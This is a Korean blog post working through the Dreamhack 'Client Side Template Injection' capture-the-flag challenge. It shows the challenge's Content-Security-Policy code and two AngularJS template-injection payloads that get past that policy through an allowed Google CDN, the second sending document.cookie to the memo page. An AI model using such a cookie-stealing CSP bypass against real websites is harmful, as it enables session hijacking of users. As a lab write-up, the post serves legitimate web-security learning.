본문 바로가기

웹해킹

드림핵 Client Side Template Injection 롸업

다른 문제들과 비슷하게 vuln, flag, memo 페이지가 구성되어 있다.

@app.after_request
def add_header(response):
    global nonce
    response.headers['Content-Security-Policy'] = f"default-src 'self'; img-src https://dreamhack.io; style-src 'self' 'unsafe-inline'; script-src 'nonce-{nonce}' 'unsafe-eval' https://ajax.googleapis.com; object-src 'none'"
    nonce = os.urandom(16).hex()
    return response

add_header 에서 CSP 부분 코드이다.

https://ajax.googleapis.com에서 AngularJS를 이용할 것이다.

/ajax/libs/angular/1.8.3/angular/min.js를 로드하고 이 파일에서

html 태그 안에 ng-app을 속성을 추가해서 사용할 수 있다.

<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.8.3/angular.min.js"></script><html ng-app>{{ constructor.constructor("alert(1)")() }}</html>

이런 식으로constructor를 이용해 vuln 페이지에서 요청을 성공적으로 보낼 수 있다.

 

alert(1) 대신에 memo 페이지에 쿠키가 적히게 하는 코드를 넣으면 된다.

<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.8.3/angular.min.js"></script><html ng-app>{{ constructor.constructor("location='memo?memo='+document.cookie")() }}</html>

 

'웹해킹' 카테고리의 다른 글

Relative Path Overwrite  (0) 2023.11.26
드림핵 CSS Injection 롸업  (0) 2023.11.26
Client Side Injection  (0) 2023.11.26
드림핵 CSRF Advanced 롸업  (0) 2023.11.26
CSRF/CORS Bypass  (0) 2023.11.26